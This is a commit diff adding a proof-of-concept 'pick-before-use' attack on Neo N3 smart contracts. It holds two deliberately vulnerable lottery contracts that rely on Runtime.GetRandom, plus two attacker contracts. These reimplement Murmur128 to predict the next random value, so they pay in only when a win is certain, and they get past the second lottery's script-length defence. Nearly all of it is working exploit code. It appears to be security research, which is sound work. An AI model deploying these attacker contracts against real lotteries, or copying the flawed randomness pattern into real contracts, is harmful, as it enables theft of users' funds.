add pick-before-use attack example

PoC/PickBeforeUse/Lottery/Lottery.cs

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+using System.ComponentModel;
+using System.Numerics;
+using Neo;
+using Neo.SmartContract.Framework;
+using Neo.SmartContract.Framework.Attributes;
+using Neo.SmartContract.Framework.Native;
+using Neo.SmartContract.Framework.Services;
+
+namespace Lottery
+{
+    [DisplayName("Lottery")]
+    [ManifestExtra("Author", "NEO")]
+    [ManifestExtra("Email", "developer@neo.org")]
+    [ManifestExtra("Description", "This is a Lottery. Send 1 NEO and you will probably get 2 NEO.")]
+    public class Lottery : SmartContract
+    {
+        public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
+        {
+            if (Runtime.CallingScriptHash == NEO.Hash && amount == 1)
+            {
+                if (Runtime.GetRandom() % 2 == 1) {
+                    ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, from, 2, data));
+                }
+            }
+        }
+    }
+}

PoC/PickBeforeUse/Lottery/Lottery.csproj

@@ -0,0 +1,12 @@
+<Project Sdk="Microsoft.NET.Sdk">
+    <PropertyGroup>
+        <TargetFramework>net6.0</TargetFramework>
+    </PropertyGroup>
+    <ItemGroup>
+        <PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
+        <PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
+    </ItemGroup>
+    <Target Name="PostBuild" AfterTargets="PostBuildEvent">
+        <Exec Command="$(neon3) $(ProjectDir)" />
+    </Target>
+</Project>

PoC/PickBeforeUse/LotteryAttacker/LotteryAttacker.cs

@@ -0,0 +1,65 @@
+using System;
+using System.ComponentModel;
+using System.Numerics;
+using Neo;
+using Neo.SmartContract;
+using Neo.SmartContract.Framework;
+using Neo.SmartContract.Framework.Attributes;
+using Neo.SmartContract.Framework.Native;
+using Neo.SmartContract.Framework.Services;
+
+namespace LotteryAttacker
+{
+    [DisplayName("LotteryAttacker")]
+    [ManifestExtra("Author", "NEO")]
+    [ManifestExtra("Email", "developer@neo.org")]
+    [ManifestExtra("Description", "This is a LotteryAttacker")]
+    public class LotteryAttacker : SmartContract
+    {
+        [InitialValue("NQpRgzN6TVoJ7MMTVsHzvvrfidgjtJNEdo", ContractParameterType.Hash160)]
+        private static readonly UInt160 Lottery = default;
+        [DisplayName("Predicated")]
+        public static event PredicatedEvent onPredicated;
+        public delegate void PredicatedEvent(BigInteger rand);
+        [DisplayName("RealRandom")]
+        public static event RealRandomEvent onRealRandom;
+        public delegate void RealRandomEvent(BigInteger rand);
+
+        public static void Predicate() {
+            BigInteger rand = Runtime.GetRandom();
+            for (int i = 0; i < 10; i++) {
+                byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork());
+                onPredicated(new BigInteger(nextrand.Concat(new byte[]{0x00})));
+                rand = Runtime.GetRandom();
+                onRealRandom(rand);
+            }
+        }
+
+        public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
+        {
+        }
+
+        public static int Attack() {
+            BigInteger rand = Runtime.GetRandom();
+            for (int i = 0; i < 10; i++) {
+                byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork());
+                if ((new BigInteger(nextrand)) % 2 == 1) {
+                    ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, Lottery, 1, null));
+                    return i;
+                }
+                rand = Runtime.GetRandom();
+            }
+            return 0;
+        }
+
+        public static void Update(ByteString nefFile, string manifest)
+        {
+            ContractManagement.Update(nefFile, manifest, null);
+        }
+
+        public static byte[] murmur128(byte[] nonceData, uint seed) {
+            ExecutionEngine.Assert(nonceData.Length == 16, "invalid nonce length");
+            return Murmur128.Hash(nonceData, seed);
+        }
+    }
+}

PoC/PickBeforeUse/LotteryAttacker/LotteryAttacker.csproj

@@ -0,0 +1,12 @@
+<Project Sdk="Microsoft.NET.Sdk">
+    <PropertyGroup>
+        <TargetFramework>net6.0</TargetFramework>
+    </PropertyGroup>
+    <ItemGroup>
+        <PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
+        <PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
+    </ItemGroup>
+    <Target Name="PostBuild" AfterTargets="PostBuildEvent">
+        <Exec Command="$(neon3) $(ProjectDir)" />
+    </Target>
+</Project>

PoC/PickBeforeUse/LotteryAttacker/Murmur128.cs

@@ -0,0 +1,78 @@
+using System.Numerics;
+using Neo.SmartContract.Framework;
+using System.ComponentModel;
+
+namespace LotteryAttacker
+{
+    public class Murmur128
+    {
+        private const ulong c1 = 0x87c37b91114253d5;
+        private const ulong c2 = 0x4cf5ad432745937f;
+        private const int r1 = 31;
+        private const int r2 = 33;
+        private const uint m = 5;
+        private const uint n1 = 0x52dce729;
+        private const uint n2 = 0x38495ab5;
+
+        public static byte[] Hash(byte[] array, uint seed)
+        {
+            ulong H1 = seed;
+            ulong H2 = seed;
+            ulong k1 = (ulong)new BigInteger(array.Take(8).Concat(new byte[] { 0x00 }));
+            k1 *= c1;
+            k1 &= 0xffffffffffffffff;
+            k1 = RotateLeft(k1, r1);
+            k1 *= c2;
+            k1 &= 0xffffffffffffffff;
+            H1 ^= k1;
+            H1 = RotateLeft(H1, 27);
+            H1 += H2;
+            H1 &= 0xffffffffffffffff;
+            H1 = H1 * m + n1;
+            H1 &= 0xffffffffffffffff;
+            ulong k2 = (ulong)new BigInteger(array.Last(8).Concat(new byte[] { 0x00 }));
+            k2 *= c2;
+            k2 &= 0xffffffffffffffff;
+            k2 = RotateLeft(k2, r2);
+            k2 *= c1;
+            k2 &= 0xffffffffffffffff;
+            H2 ^= k2;
+            H2 = RotateLeft(H2, 31);
+            H2 += H1;
+            H2 &= 0xffffffffffffffff;
+            H2 = H2 * m + n2;
+            H2 &= 0xffffffffffffffff;
+            ulong len = (ulong)array.Length;
+            H1 ^= len;
+            H2 ^= len;
+            H1 += H2;
+            H1 &= 0xffffffffffffffff;
+            H2 += H1;
+            H2 &= 0xffffffffffffffff;
+            H1 = FMix(H1);
+            H2 = FMix(H2);
+            H1 += H2;
+            H1 &= 0xffffffffffffffff;
+            H2 += H1;
+            H2 &= 0xffffffffffffffff;
+            var first = ((BigInteger)H1).ToByteArray().Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).Take(8);
+            var second = ((BigInteger)H2).ToByteArray().Concat(new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }).Take(8);
+            return first.Concat(second);
+        }
+        private static ulong FMix(ulong h)
+        {
+            h = (h ^ (h >> 33)) * 0xff51afd7ed558ccd;
+            h &= 0xffffffffffffffff;
+            h = (h ^ (h >> 33)) * 0xc4ceb9fe1a85ec53;
+            h &= 0xffffffffffffffff;
+            return (h ^ (h >> 33));
+        }
+        public static ulong RotateLeft(ulong value, int offset)
+            => ((value << offset) & 0xffffffffffffffff) | (value >> (64 - offset));
+    }
+}
+
+
+
+
+

PoC/PickBeforeUse/LotteryWithDefender/LotteryWithDefender.cs

@@ -0,0 +1,52 @@
+using System.ComponentModel;
+using System.Numerics;
+using Neo;
+using Neo.SmartContract.Framework;
+using Neo.SmartContract.Framework.Attributes;
+using Neo.SmartContract.Framework.Native;
+using Neo.SmartContract.Framework.Services;
+
+namespace LotteryWithDefender
+{
+    [DisplayName("LotteryWithDefender")]
+    [ManifestExtra("Author", "NEO")]
+    [ManifestExtra("Email", "developer@neo.org")]
+    [ManifestExtra("Description", "This is a LotteryWithDefender. Call play to earn NEO.")]
+    public class LotteryWithDefender : SmartContract
+    {
+        [DisplayName("Lottery")]
+        public static event LotteryEvent onLottery;
+        public delegate void LotteryEvent(ByteString name);
+
+        public static void OnNEP17Payment(UInt160 from, BigInteger amount, object data)
+        {
+        }
+
+        public static void Play(ByteString name, UInt160 receiver)
+        {
+            ExecutionEngine.Assert(Runtime.EntryScriptHash == Runtime.CallingScriptHash, "FAUD: Contract call is not allowed.");
+            ExecutionEngine.Assert((((Transaction)Runtime.ScriptContainer).Script.Length <= name.Length + 60), "FAUD:Transaction script length error.");
+            ExecutionEngine.Assert(name.Length <= 6, "FAUD:Long name is now allowed.");
+            // the calling script should be
+            // PUSHDATA1 ${name}  (size = 2 + name.Length)
+            // PUSHDATA1 receiver  (size = 22)
+            // PUSH1 (size = 1)
+            // PACK (size = 1)
+            // PUSH15 (size = 1)
+            // PUSHDATA1 play (size = 6)
+            // PUSHDATA1 0x726cb6e0cd8628a1350a611384688911ab75f51b (size = 22)
+            // SYSCALL System.Contract.Call (size = 5)
+            // example normal script: DAZhdHRhY2sMFAS4eMLY2Qfs8dcYmQ+QOGfFkqETEsAfDARwbGF5DBQb9XWrEYlohBNhCjWhKIbN4LZsckFifVtS
+
+            if (Runtime.GetRandom() % 2 == 1) {
+                ExecutionEngine.Assert(NEO.Transfer(Runtime.ExecutingScriptHash, receiver, 1, null));
+                onLottery(name);
+            }
+        }
+
+        public static void Update(ByteString nefFile, string manifest)
+        {
+            ContractManagement.Update(nefFile, manifest, null);
+        }
+    }
+}

PoC/PickBeforeUse/LotteryWithDefender/LotteryWithDefender.csproj

@@ -0,0 +1,12 @@
+<Project Sdk="Microsoft.NET.Sdk">
+    <PropertyGroup>
+        <TargetFramework>net6.0</TargetFramework>
+    </PropertyGroup>
+    <ItemGroup>
+        <PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
+        <PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
+    </ItemGroup>
+    <Target Name="PostBuild" AfterTargets="PostBuildEvent">
+        <Exec Command="$(neon3) $(ProjectDir)" />
+    </Target>
+</Project>

PoC/PickBeforeUse/LotteryWithDefender/normalplay.xml

@@ -0,0 +1,12 @@
+<lazy xmlns:a="Assembly" xmlns:b="Basic">
+    <!-- NEOVM v3.2.0 --> 
+    <!-- NEO v3.2.1 -->
+    <!-- NEONODE v3.2.1 --> 
+    <!-- NEOMODULES v3.2.1 -->
+    <a:bytes val="04b878c2d8d907ecf1d718990f903867c592a113" /> <!-- receiver = our address in little endian -->
+    <a:string val="attack" /> <!-- name = attack -->
+    <a:int val="2" />
+    <pack /> <!-- pack these two parameters -->
+    <a:contractcall hash="0x3e462750e19bc09f64d44c4b0135081d9b2b7617" method="play" /> 
+    <!-- call the lottery's play -->
+</lazy>

PoC/PickBeforeUse/LotteryWithDefenderAttacker/LotteryWithDefenderAttacker.cs

@@ -0,0 +1,45 @@
+using System;
+using System.ComponentModel;
+using System.Numerics;
+using Neo;
+using Neo.SmartContract;
+using Neo.SmartContract.Framework;
+using Neo.SmartContract.Framework.Attributes;
+using Neo.SmartContract.Framework.Native;
+using Neo.SmartContract.Framework.Services;
+
+namespace LotteryWithDefenderAttacker
+{
+    [DisplayName("LotteryWithDefenderAttacker")]
+    [ManifestExtra("Author", "NEO")]
+    [ManifestExtra("Email", "developer@neo.org")]
+    [ManifestExtra("Description", "This is a LotteryWithDefenderAttacker")]
+    public class LotteryWithDefenderAttacker : SmartContract
+    {
+        [InitialValue("NLLvsqs7AyBNmQT6NThUxYWDFwV5b1evaK", ContractParameterType.Hash160)]
+        private static readonly UInt160 Owner = default;
+
+        public static ByteString[] a() {
+            BigInteger rand = Runtime.GetRandom();
+            for (int i = 0; i < 10; i++) {
+                byte[] nextrand = murmur128(rand.ToByteArray().Concat(new byte[]{0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}).Take(16), Runtime.GetNetwork());
+                if ((new BigInteger(nextrand)) % 2 == 1) {
+                    return new ByteString[] {"attack", Owner};
+                }
+                rand = Runtime.GetRandom();
+            }
+            ExecutionEngine.Abort();
+            return new ByteString[] {"attack", Owner};
+        }
+
+        public static void Update(ByteString nefFile, string manifest)
+        {
+            ContractManagement.Update(nefFile, manifest, null);
+        }
+
+        public static byte[] murmur128(byte[] nonceData, uint seed) {
+            ExecutionEngine.Assert(nonceData.Length == 16, "invalid nonce length");
+            return Murmur128.Hash(nonceData, seed);
+        }
+    }
+}

PoC/PickBeforeUse/LotteryWithDefenderAttacker/LotteryWithDefenderAttacker.csproj

@@ -0,0 +1,12 @@
+<Project Sdk="Microsoft.NET.Sdk">
+    <PropertyGroup>
+        <TargetFramework>net6.0</TargetFramework>
+    </PropertyGroup>
+    <ItemGroup>
+        <PackageReference Include="Neo3.Compiler.CSharp.Dev" Version="3.1.0" />
+        <PackageReference Include="Neo.SmartContract.Framework" Version="3.1.0" />
+    </ItemGroup>
+    <Target Name="PostBuild" AfterTargets="PostBuildEvent">
+        <Exec Command="$(neon3) $(ProjectDir)" />
+    </Target>
+</Project>